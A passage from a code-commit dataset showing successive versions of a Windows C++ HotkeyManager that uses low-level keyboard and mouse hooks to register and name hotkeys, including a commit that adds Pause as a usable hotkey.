CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->MouseProc(nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->KeyProc(nCode, wParam, lParam);\n}<commit_msg>Reorder comments\/statements to clarify<commit_after>#include \"HotkeyManager.h\"\n#include \"Logger.h\"\n\nHotkeyManager *HotkeyManager::instance = NULL;\n\nHotkeyManager *HotkeyManager::Instance() {\n return instance;\n}\n\nHotkeyManager *HotkeyManager::Instance(HWND notifyWnd) {\n if (instance == NULL) {\n instance = new HotkeyManager();\n instance->Hook();\n instance->_notifyWnd = notifyWnd;\n }\n\n return instance;\n}\n\nHotkeyManager::HotkeyManager() :\n_fixWin(false) {\n\n}\n\nHotkeyManager::~HotkeyManager() {\n while (true) {\n auto i = _keyCombinations.begin();\n if (_keyCombinations.size() > 0) {\n Unregister(*i);\n } else {\n break;\n }\n }\n\n Unhook();\n}\n\nvoid HotkeyManager::Shutdown() {\n delete instance;\n instance = NULL;\n}\n\nbool HotkeyManager::Hook() {\n _mouseHook = SetWindowsHookEx(WH_MOUSE_LL,\n LowLevelMouseProc, NULL, NULL);\n\n _keyHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n LowLevelKeyboardProc, NULL, NULL);\n\n return _mouseHook && _keyHook;\n}\n\nbool HotkeyManager::Unhook() {\n BOOL unMouse = UnhookWindowsHookEx(_mouseHook);\n BOOL unKey = UnhookWindowsHookEx(_keyHook);\n return unMouse && unKey;\n}\n\nvoid HotkeyManager::Register(int keyCombination) {\n if (_keyCombinations.count(keyCombination) > 0) {\n CLOG(L\"Hotkey combination [%d] already registered\", keyCombination);\n return;\n } else {\n _keyCombinations.insert(keyCombination);\n }\n\n \/* get VK_* value; includes unused bits *\/\n int vk = 0xFFFF & keyCombination;\n\n if ((keyCombination >> 20) > 0 \/* uses a HKM_MOUSE_* flag *\/\n || vk == VK_LBUTTON\n || vk == VK_RBUTTON\n || vk == VK_MBUTTON) {\n\n \/* mouse-based hotkeys; we are done *\/\n CLOG(L\"Registered new mouse-based hotkey: %d\", keyCombination);\n return;\n }\n\n \/* keyboard-only hotkeys; use WinAPI *\/\n int mods = (0xF0000 & keyCombination) >> 16;\n if (!RegisterHotKey(_notifyWnd, keyCombination, mods, vk)) {\n CLOG(L\"Failed to register hotkey [%d]\\n\"\n L\"Mods: %d, VK: %d\", keyCombination, mods, vk);\n return;\n }\n\n CLOG(L\"Registered new keyboard-based hotkey: %d\", keyCombination);\n}\n\nbool HotkeyManager::Unregister(int keyCombination) {\n CLOG(L\"Unregistering hotkey combination: %d\", keyCombination);\n\n if (_keyCombinations.count(keyCombination) <= 0) {\n QCLOG(L\"Hotkey combination [%d] was not previously registered\",\n keyCombination);\n return false;\n }\n\n _keyCombinations.erase(keyCombination);\n if ((keyCombination >> 20) == 0) {\n \/* This hotkey isn't mouse-based; unregister with Windows *\/\n if (!UnregisterHotKey(_notifyWnd, keyCombination)) {\n CLOG(L\"Failed to unregister hotkey: %d\", keyCombination);\n return false;\n }\n }\n return true;\n}\n\nbool HotkeyManager::IsModifier(DWORD vk) {\n switch (vk) {\n case VK_MENU:\n case VK_LMENU:\n case VK_RMENU:\n case VK_CONTROL:\n case VK_LCONTROL:\n case VK_RCONTROL:\n case VK_SHIFT:\n case VK_LSHIFT:\n case VK_RSHIFT:\n case VK_LWIN:\n case VK_RWIN:\n return true;\n }\n return false;\n}\n\nint HotkeyManager::Modifiers() {\n int mods = 0;\n mods += (GetKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nint HotkeyManager::ModifiersAsync() {\n int mods = 0;\n mods += (GetAsyncKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetAsyncKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetAsyncKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetAsyncKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetAsyncKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nstd::wstring HotkeyManager::HotkeysToModString(int combination,\n std::wstring separator) {\n\n std::wstring str = L\"\";\n if (combination & HKM_MOD_ALT) {\n str += VKToString(VK_MENU) + separator;\n }\n if (combination & HKM_MOD_CTRL) {\n str += VKToString(VK_CONTROL) + separator;\n }\n if (combination & HKM_MOD_SHF) {\n str += VKToString(VK_SHIFT) + separator;\n }\n if (combination & HKM_MOD_WIN) {\n str += L\"Win\" + separator;\n }\n\n return str;\n}\n\nstd::wstring HotkeyManager::HotkeysToString(int combination,\n std::wstring separator) {\n\n std::wstring mods = HotkeysToModString(combination, separator);\n int vk = combination & 0xFF;\n std::wstring str = VKToString(vk);\n\n return mods + str;\n}\n\nstd::wstring HotkeyManager::VKToString(unsigned int vk, bool extendedKey) {\n int extended = extendedKey ? 0x1 : 0x0;\n\n unsigned int scanCode = MapVirtualKey(vk, MAPVK_VK_TO_VSC);\n scanCode = scanCode << 16;\n scanCode |= extended << 24;\n wchar_t buf[256] = {};\n GetKeyNameText(scanCode, buf, 256);\n return std::wstring(buf);\n}\n\nLRESULT CALLBACK\nHotkeyManager::KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0) {\n if (wParam == WM_KEYUP) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT*) lParam;\n if ((kbInfo->vkCode == VK_LWIN || kbInfo->vkCode == VK_RWIN)\n && _fixWin) {\n \/* WIN+Mouse combination used; we need to prevent the\n * system from only seeing a WIN keypress (and usually\n * popping up the start menu). We simulate WIN+VK_NONAME. *\/\n\n INPUT input = { 0 };\n input.type = INPUT_KEYBOARD;\n\n input.ki.wVk = VK_NONAME;\n input.ki.wScan = 0;\n input.ki.dwFlags = 0;\n input.ki.time = 1;\n input.ki.dwExtraInfo = GetMessageExtraInfo();\n\n \/* key down: *\/\n SendInput(1, &input, sizeof(INPUT));\n\n \/* key up: *\/\n input.ki.dwFlags = KEYEVENTF_KEYUP;\n SendInput(1, &input, sizeof(INPUT));\n\n _fixWin = false;\n }\n }\n }\n\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0) {\n int mouseState = 0;\n MSLLHOOKSTRUCT *msInfo;\n\n switch (wParam) {\n\n case WM_LBUTTONDOWN:\n mouseState += VK_LBUTTON;\n break;\n\n case WM_MBUTTONDOWN:\n mouseState += VK_MBUTTON;\n break;\n\n case WM_RBUTTONDOWN:\n mouseState += VK_RBUTTON;\n break;\n\n case WM_XBUTTONDOWN: {\n msInfo = (MSLLHOOKSTRUCT*) lParam;\n\n int button = msInfo->mouseData >> 16 & 0xFFFF;\n if (button == 1)\n mouseState += HKM_MOUSE_XB1;\n else if (button == 2)\n mouseState += HKM_MOUSE_XB2;\n\n break;\n }\n\n case WM_MOUSEWHEEL: {\n msInfo = (MSLLHOOKSTRUCT*) lParam;\n\n if ((int) msInfo->mouseData > 0) {\n mouseState += HKM_MOUSE_WHUP;\n } else {\n mouseState += HKM_MOUSE_WHDN;\n }\n\n break;\n }\n }\n\n if (mouseState > 0) {\n mouseState += Modifiers();\n\n if (_keyCombinations.count(mouseState) > 0) {\n PostMessage(_notifyWnd, WM_HOTKEY,\n mouseState, mouseState & 0xF0000);\n\n if (mouseState & HKM_MOD_WIN) {\n _fixWin = true; \/* enable fix right before WIN goes up *\/\n }\n\n return 1; \/* processed the message; eat it *\/\n }\n }\n }\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->MouseProc(nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->KeyProc(nCode, wParam, lParam);\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#include \"HotkeyManager.h\"\n\n#include \"Logger.h\"\n#include \"SyntheticKeyboard.h\"\n\nHotkeyManager *HotkeyManager::instance = NULL;\n\nstd::unordered_map<UINT, std::wstring> HotkeyManager::_vkStringMap = {\n { VK_SELECT, L\"Select\" },\n { VK_PRINT, L\"Print\" },\n { VK_EXECUTE, L\"Execute\" },\n { VK_SNAPSHOT, L\"Print Screen\" },\n { VK_HELP, L\"Help\" },\n { VK_SLEEP, L\"Sleep\" },\n { VK_BROWSER_BACK, L\"Browser Back\" },\n { VK_BROWSER_FORWARD, L\"Browser Forward\" },\n { VK_BROWSER_REFRESH, L\"Browser Refresh\" },\n { VK_BROWSER_STOP, L\"Browser Stop\" },\n { VK_BROWSER_SEARCH, L\"Browser Search\" },\n { VK_BROWSER_FAVORITES, L\"Browser Favorites\" },\n { VK_BROWSER_HOME, L\"Browser Home\" },\n { VK_VOLUME_MUTE, L\"Mute\" },\n { VK_VOLUME_DOWN, L\"Volume Down\" },\n { VK_VOLUME_UP, L\"Volume Up\" },\n { VK_MEDIA_NEXT_TRACK, L\"Next Track\" },\n { VK_MEDIA_PREV_TRACK, L\"Previous Track\" },\n { VK_MEDIA_STOP, L\"Stop\" },\n { VK_MEDIA_PLAY_PAUSE, L\"Play\/Pause\" },\n { VK_LAUNCH_MAIL, L\"Mail\" },\n { VK_LAUNCH_MEDIA_SELECT, L\"Select Media\" },\n { VK_LAUNCH_APP1, L\"App 1\" },\n { VK_LAUNCH_APP2, L\"App 2\" },\n { VK_PLAY, L\"Play\" },\n { VK_ZOOM, L\"Zoom\" },\n { VK_OEM_CLEAR, L\"Clear\" },\n};\n\nHotkeyManager *HotkeyManager::Instance() {\n return instance;\n}\n\nHotkeyManager *HotkeyManager::Instance(HWND notifyWnd) {\n if (instance == NULL) {\n instance = new HotkeyManager();\n instance->Hook();\n instance->_notifyWnd = notifyWnd;\n }\n\n return instance;\n}\n\nHotkeyManager::HotkeyManager() :\n_fixWin(false) {\n\n}\n\nHotkeyManager::~HotkeyManager() {\n while (true) {\n auto i = _keyCombinations.begin();\n if (_keyCombinations.size() > 0) {\n Unregister(*i);\n } else {\n break;\n }\n }\n _hookCombinations.clear();\n\n Unhook();\n}\n\nvoid HotkeyManager::Shutdown() {\n delete instance;\n instance = NULL;\n}\n\nbool HotkeyManager::Hook() {\n _mouseHook = SetWindowsHookEx(WH_MOUSE_LL,\n LowLevelMouseProc, NULL, NULL);\n\n _keyHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n LowLevelKeyboardProc, NULL, NULL);\n\n return _mouseHook && _keyHook;\n}\n\nbool HotkeyManager::Unhook() {\n BOOL unMouse = UnhookWindowsHookEx(_mouseHook);\n BOOL unKey = UnhookWindowsHookEx(_keyHook);\n return unMouse && unKey;\n}\n\nvoid HotkeyManager::Register(int keyCombination) {\n if (_keyCombinations.count(keyCombination) > 0) {\n CLOG(L\"Hotkey combination [%d] already registered\", keyCombination);\n return;\n } else {\n _keyCombinations.insert(keyCombination);\n }\n\n \/* get VK_* value; *\/\n int vk = 0xFF & keyCombination;\n\n if ((keyCombination >> 20) > 0 \/* uses a HKM_MOUSE_* flag *\/\n || vk == VK_LBUTTON\n || vk == VK_RBUTTON\n || vk == VK_MBUTTON) {\n\n \/* mouse-based hotkeys; we are done *\/\n CLOG(L\"Registered new mouse-based hotkey: %d\", keyCombination);\n return;\n }\n\n \/* keyboard-only hotkeys; use WinAPI *\/\n int mods = (0xF0000 & keyCombination) >> 16;\n if (!RegisterHotKey(_notifyWnd, keyCombination, mods, vk)) {\n CLOG(L\"Failed to register hotkey [%d]\\n\"\n L\"Mods: %d, VK: %d\\n\"\n L\"Placing in hook list\", keyCombination, mods, vk);\n _hookCombinations.insert(keyCombination);\n return;\n }\n\n CLOG(L\"Registered new keyboard-based hotkey: %d\", keyCombination);\n}\n\nbool HotkeyManager::Unregister(int keyCombination) {\n CLOG(L\"Unregistering hotkey combination: %d\", keyCombination);\n\n if (_keyCombinations.count(keyCombination) <= 0) {\n QCLOG(L\"Hotkey combination [%d] was not previously registered\",\n keyCombination);\n return false;\n }\n\n _keyCombinations.erase(keyCombination);\n if ((keyCombination >> 20) == 0) {\n \/* This hotkey isn't mouse-based; unregister with Windows *\/\n if (!UnregisterHotKey(_notifyWnd, keyCombination)) {\n CLOG(L\"Failed to unregister hotkey: %d\", keyCombination);\n return false;\n }\n }\n return true;\n}\n\nLRESULT CALLBACK\nHotkeyManager::KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0) {\n if (wParam == WM_KEYUP) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT *) lParam;\n if ((kbInfo->vkCode == VK_LWIN || kbInfo->vkCode == VK_RWIN)\n && _fixWin) {\n \/* WIN+Mouse combination used; we need to prevent the\n * system from only seeing a WIN keypress (and usually\n * popping up the start menu). We simulate WIN+VK_NONAME. *\/\n SyntheticKeyboard::SimulateKeypress(VK_NONAME, false);\n _fixWin = false;\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n }\n }\n\n if (_hookCombinations.size() <= 0) {\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n }\n\n if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT *) lParam;\n\n DWORD vk = kbInfo->vkCode;\n int mods = HotkeyManager::IsModifier(vk);\n\n if (mods) {\n _modifiers |= mods;\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n } else {\n \/* Is this an extended key? *\/\n int ext = (kbInfo->flags & 0x1) << EXT_OFFSET;\n int keys = _modifiers | ext | vk;\n if (_hookCombinations.count(keys) > 0) {\n SendMessage(_notifyWnd, WM_HOTKEY,\n keys, _modifiers >> MOD_OFFSET);\n return (LRESULT) 1;\n }\n }\n }\n\n if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT *) lParam;\n int m = HotkeyManager::IsModifier(kbInfo->vkCode);\n if (m) {\n _modifiers ^= m;\n }\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n }\n }\n\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0 && wParam != WM_MOUSEMOVE) {\n int mouseState = 0;\n MSLLHOOKSTRUCT *msInfo;\n\n switch (wParam) {\n\n case WM_LBUTTONDOWN:\n mouseState += VK_LBUTTON;\n break;\n\n case WM_MBUTTONDOWN:\n mouseState += VK_MBUTTON;\n break;\n\n case WM_RBUTTONDOWN:\n mouseState += VK_RBUTTON;\n break;\n\n case WM_XBUTTONDOWN: {\n msInfo = (MSLLHOOKSTRUCT *) lParam;\n\n int button = msInfo->mouseData >> 16 & 0xFFFF;\n if (button == 1)\n mouseState += HKM_MOUSE_XB1;\n else if (button == 2)\n mouseState += HKM_MOUSE_XB2;\n\n break;\n }\n\n case WM_MOUSEWHEEL: {\n \/* Note: WM_MOUSEWHEEL on a hook is a little different, so we\n * need to grab the wheel delta info from the lParam. *\/\n msInfo = (MSLLHOOKSTRUCT *) lParam;\n\n if ((int) msInfo->mouseData > 0) {\n mouseState += HKM_MOUSE_WHUP;\n } else {\n mouseState += HKM_MOUSE_WHDN;\n }\n\n break;\n }\n }\n\n if (mouseState > 0) {\n mouseState += Modifiers();\n\n if (_keyCombinations.count(mouseState) > 0) {\n PostMessage(_notifyWnd, WM_HOTKEY,\n mouseState, mouseState & 0xF0000);\n\n if (mouseState & HKM_MOD_WIN) {\n _fixWin = true; \/* enable fix right before WIN goes up *\/\n }\n\n return 1; \/* processed the message; eat it *\/\n }\n }\n }\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->MouseProc(nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->KeyProc(nCode, wParam, lParam);\n}\n\nint HotkeyManager::IsModifier(int vk) {\n switch (vk) {\n case VK_MENU:\n case VK_LMENU:\n case VK_RMENU:\n return HKM_MOD_ALT;\n\n case VK_CONTROL:\n case VK_LCONTROL:\n case VK_RCONTROL:\n return HKM_MOD_CTRL;\n\n case VK_SHIFT:\n case VK_LSHIFT:\n case VK_RSHIFT:\n return HKM_MOD_SHF;\n\n case VK_LWIN:\n case VK_RWIN:\n return HKM_MOD_WIN;\n }\n\n return 0;\n}\n\nbool HotkeyManager::IsMouseKey(int vk) {\n if (vk < 0x07 && vk != VK_CANCEL) {\n return true;\n }\n\n if (vk & (0xF << MOUSE_OFFSET)) {\n \/* Has wheel or xbutton flags *\/\n return true;\n }\n\n return false;\n}\n\nint HotkeyManager::Modifiers() {\n int mods = 0;\n mods += (GetKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nint HotkeyManager::ModifiersAsync() {\n int mods = 0;\n mods += (GetAsyncKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetAsyncKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetAsyncKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetAsyncKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetAsyncKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nstd::wstring HotkeyManager::HotkeysToModString(int combination,\n std::wstring separator) {\n\n std::wstring str = L\"\";\n if (combination & HKM_MOD_ALT) {\n str += VKToString(VK_MENU) + separator;\n }\n if (combination & HKM_MOD_CTRL) {\n str += VKToString(VK_CONTROL) + separator;\n }\n if (combination & HKM_MOD_SHF) {\n str += VKToString(VK_SHIFT) + separator;\n }\n if (combination & HKM_MOD_WIN) {\n str += L\"Win\" + separator;\n }\n\n return str;\n}\n\nstd::wstring HotkeyManager::HotkeysToString(int combination,\n std::wstring separator) {\n\n std::wstring mods = HotkeysToModString(combination, separator);\n int vk = combination & 0xFF;\n\n std::wstring str;\n if (IsMouseKey(vk)) {\n str = MouseString(combination);\n } else {\n bool ext = (combination & 0x100) > 0;\n str = VKToString(vk, ext);\n }\n\n return mods + str;\n}\n\nstd::wstring HotkeyManager::MouseString(int combination) {\n int vk = combination & 0xFF;\n if (vk > 0) {\n switch (vk) {\n case VK_LBUTTON:\n return L\"Mouse 1\";\n case VK_RBUTTON:\n return L\"Mouse 2\";\n case VK_MBUTTON:\n return L\"Mouse 3\";\n }\n }\n\n int flags = combination & (0xF << MOUSE_OFFSET);\n if (flags == HKM_MOUSE_XB1) {\n return L\"Mouse 4\";\n } else if (flags == HKM_MOUSE_XB2) {\n return L\"Mouse 5\";\n } else if (flags == HKM_MOUSE_WHUP) {\n return L\"Mouse Wheel Up\";\n } else if (flags == HKM_MOUSE_WHDN) {\n return L\"Mouse Wheel Down\";\n }\n\n return L\"\";\n}\n\nstd::wstring HotkeyManager::VKToString(unsigned int vk, bool extendedKey) {\n if (_vkStringMap.find(vk) != _vkStringMap.end()) {\n return _vkStringMap[vk];\n }\n\n if (\n vk == 0x03 \/* break *\/\n || (vk >= 0x21 && vk <= 0x2f) \/* arrow keys, home\/insert\/del, etc *\/\n || (vk >= 0x5b && vk <= 0x5d) \/* win, app keys (natural keyboard) *\/\n || (vk == 0x90) \/* num lock *\/\n ) {\n extendedKey = true;\n }\n\n \/* GetKeyNameText expects the following:\n * 16-23: scan code\n * 24: extended key flag\n * 25: 'do not care' bit (don't distinguish between L\/R keys) *\/\n unsigned int scanCode = MapVirtualKey(vk, MAPVK_VK_TO_VSC);\n scanCode = scanCode << 16;\n\n if (vk == VK_RSHIFT) {\n \/* For some reason, the right shift key ends up having its extended\n * key flag set and confuses GetKeyNameText. *\/\n extendedKey = false;\n }\n\n int extended = extendedKey ? 0x1 : 0x0;\n scanCode |= extended << 24;\n\n wchar_t buf[256] = {};\n GetKeyNameText(scanCode, buf, 256);\n return std::wstring(buf);\n}\n\nvoid HotkeyManager::VKStringTest() {\n for (unsigned int i = 0; i < 0xFF; ++i) {\n CLOG(L\"%02x - %s\", i, VKToString(i).c_str());\n }\n}\n<commit_msg>Allow using pause as a hotkey (super useful on Logitech G513)<commit_after>\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#include \"HotkeyManager.h\"\n\n#include \"Logger.h\"\n#include \"SyntheticKeyboard.h\"\n\nHotkeyManager *HotkeyManager::instance = NULL;\n\nstd::unordered_map<UINT, std::wstring> HotkeyManager::_vkStringMap = {\n { VK_SELECT, L\"Select\" },\n { VK_PRINT, L\"Print\" },\n { VK_EXECUTE, L\"Execute\" },\n { VK_SNAPSHOT, L\"Print Screen\" },\n { VK_HELP, L\"Help\" },\n { VK_SLEEP, L\"Sleep\" },\n { VK_BROWSER_BACK, L\"Browser Back\" },\n { VK_BROWSER_FORWARD, L\"Browser Forward\" },\n { VK_BROWSER_REFRESH, L\"Browser Refresh\" },\n { VK_BROWSER_STOP, L\"Browser Stop\" },\n { VK_BROWSER_SEARCH, L\"Browser Search\" },\n { VK_BROWSER_FAVORITES, L\"Browser Favorites\" },\n { VK_BROWSER_HOME, L\"Browser Home\" },\n { VK_VOLUME_MUTE, L\"Mute\" },\n { VK_VOLUME_DOWN, L\"Volume Down\" },\n { VK_VOLUME_UP, L\"Volume Up\" },\n { VK_MEDIA_NEXT_TRACK, L\"Next Track\" },\n { VK_MEDIA_PREV_TRACK, L\"Previous Track\" },\n { VK_MEDIA_STOP, L\"Stop\" },\n { VK_MEDIA_PLAY_PAUSE, L\"Play\/Pause\" },\n { VK_LAUNCH_MAIL, L\"Mail\" },\n { VK_LAUNCH_MEDIA_SELECT, L\"Select Media\" },\n { VK_LAUNCH_APP1, L\"App 1\" },\n { VK_LAUNCH_APP2, L\"App 2\" },\n { VK_PLAY, L\"Play\" },\n { VK_ZOOM, L\"Zoom\" },\n { VK_OEM_CLEAR, L\"Clear\" },\n};\n\nHotkeyManager *HotkeyManager::Instance() {\n return instance;\n}\n\nHotkeyManager *HotkeyManager::Instance(HWND notifyWnd) {\n if (instance == NULL) {\n instance = new HotkeyManager();\n instance->Hook();\n instance->_notifyWnd = notifyWnd;\n }\n\n return instance;\n}\n\nHotkeyManager::HotkeyManager() :\n_fixWin(false) {\n\n}\n\nHotkeyManager::~HotkeyManager() {\n while (true) {\n auto i = _keyCombinations.begin();\n if (_keyCombinations.size() > 0) {\n Unregister(*i);\n } else {\n break;\n }\n }\n _hookCombinations.clear();\n\n Unhook();\n}\n\nvoid HotkeyManager::Shutdown() {\n delete instance;\n instance = NULL;\n}\n\nbool HotkeyManager::Hook() {\n _mouseHook = SetWindowsHookEx(WH_MOUSE_LL,\n LowLevelMouseProc, NULL, NULL);\n\n _keyHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n LowLevelKeyboardProc, NULL, NULL);\n\n return _mouseHook && _keyHook;\n}\n\nbool HotkeyManager::Unhook() {\n BOOL unMouse = UnhookWindowsHookEx(_mouseHook);\n BOOL unKey = UnhookWindowsHookEx(_keyHook);\n return unMouse && unKey;\n}\n\nvoid HotkeyManager::Register(int keyCombination) {\n if (_keyCombinations.count(keyCombination) > 0) {\n CLOG(L\"Hotkey combination [%d] already registered\", keyCombination);\n return;\n } else {\n _keyCombinations.insert(keyCombination);\n }\n\n \/* get VK_* value; *\/\n int vk = 0xFF & keyCombination;\n\n if ((keyCombination >> 20) > 0 \/* uses a HKM_MOUSE_* flag *\/\n || vk == VK_LBUTTON\n || vk == VK_RBUTTON\n || vk == VK_MBUTTON) {\n\n \/* mouse-based hotkeys; we are done *\/\n CLOG(L\"Registered new mouse-based hotkey: %d\", keyCombination);\n return;\n }\n\n \/* keyboard-only hotkeys; use WinAPI *\/\n int mods = (0xF0000 & keyCombination) >> 16;\n if (!RegisterHotKey(_notifyWnd, keyCombination, mods, vk)) {\n CLOG(L\"Failed to register hotkey [%d]\\n\"\n L\"Mods: %d, VK: %d\\n\"\n L\"Placing in hook list\", keyCombination, mods, vk);\n _hookCombinations.insert(keyCombination);\n return;\n }\n\n CLOG(L\"Registered new keyboard-based hotkey: %d\", keyCombination);\n}\n\nbool HotkeyManager::Unregister(int keyCombination) {\n CLOG(L\"Unregistering hotkey combination: %d\", keyCombination);\n\n if (_keyCombinations.count(keyCombination) <= 0) {\n QCLOG(L\"Hotkey combination [%d] was not previously registered\",\n keyCombination);\n return false;\n }\n\n _keyCombinations.erase(keyCombination);\n if ((keyCombination >> 20) == 0) {\n \/* This hotkey isn't mouse-based; unregister with Windows *\/\n if (!UnregisterHotKey(_notifyWnd, keyCombination)) {\n CLOG(L\"Failed to unregister hotkey: %d\", keyCombination);\n return false;\n }\n }\n return true;\n}\n\nLRESULT CALLBACK\nHotkeyManager::KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0) {\n if (wParam == WM_KEYUP) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT *) lParam;\n if ((kbInfo->vkCode == VK_LWIN || kbInfo->vkCode == VK_RWIN)\n && _fixWin) {\n \/* WIN+Mouse combination used; we need to prevent the\n * system from only seeing a WIN keypress (and usually\n * popping up the start menu). We simulate WIN+VK_NONAME. *\/\n SyntheticKeyboard::SimulateKeypress(VK_NONAME, false);\n _fixWin = false;\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n }\n }\n\n if (_hookCombinations.size() <= 0) {\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n }\n\n if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT *) lParam;\n\n DWORD vk = kbInfo->vkCode;\n int mods = HotkeyManager::IsModifier(vk);\n\n if (mods) {\n _modifiers |= mods;\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n } else {\n \/* Is this an extended key? *\/\n int ext = (kbInfo->flags & 0x1) << EXT_OFFSET;\n int keys = _modifiers | ext | vk;\n if (_hookCombinations.count(keys) > 0) {\n SendMessage(_notifyWnd, WM_HOTKEY,\n keys, _modifiers >> MOD_OFFSET);\n return (LRESULT) 1;\n }\n }\n }\n\n if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT *) lParam;\n int m = HotkeyManager::IsModifier(kbInfo->vkCode);\n if (m) {\n _modifiers ^= m;\n }\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n }\n }\n\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0 && wParam != WM_MOUSEMOVE) {\n int mouseState = 0;\n MSLLHOOKSTRUCT *msInfo;\n\n switch (wParam) {\n\n case WM_LBUTTONDOWN:\n mouseState += VK_LBUTTON;\n break;\n\n case WM_MBUTTONDOWN:\n mouseState += VK_MBUTTON;\n break;\n\n case WM_RBUTTONDOWN:\n mouseState += VK_RBUTTON;\n break;\n\n case WM_XBUTTONDOWN: {\n msInfo = (MSLLHOOKSTRUCT *) lParam;\n\n int button = msInfo->mouseData >> 16 & 0xFFFF;\n if (button == 1)\n mouseState += HKM_MOUSE_XB1;\n else if (button == 2)\n mouseState += HKM_MOUSE_XB2;\n\n break;\n }\n\n case WM_MOUSEWHEEL: {\n \/* Note: WM_MOUSEWHEEL on a hook is a little different, so we\n * need to grab the wheel delta info from the lParam. *\/\n msInfo = (MSLLHOOKSTRUCT *) lParam;\n\n if ((int) msInfo->mouseData > 0) {\n mouseState += HKM_MOUSE_WHUP;\n } else {\n mouseState += HKM_MOUSE_WHDN;\n }\n\n break;\n }\n }\n\n if (mouseState > 0) {\n mouseState += Modifiers();\n\n if (_keyCombinations.count(mouseState) > 0) {\n PostMessage(_notifyWnd, WM_HOTKEY,\n mouseState, mouseState & 0xF0000);\n\n if (mouseState & HKM_MOD_WIN) {\n _fixWin = true; \/* enable fix right before WIN goes up *\/\n }\n\n return 1; \/* processed the message; eat it *\/\n }\n }\n }\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->MouseProc(nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {\n return HotkeyManager::instance->KeyProc(nCode, wParam, lParam);\n}\n\nint HotkeyManager::IsModifier(int vk) {\n switch (vk) 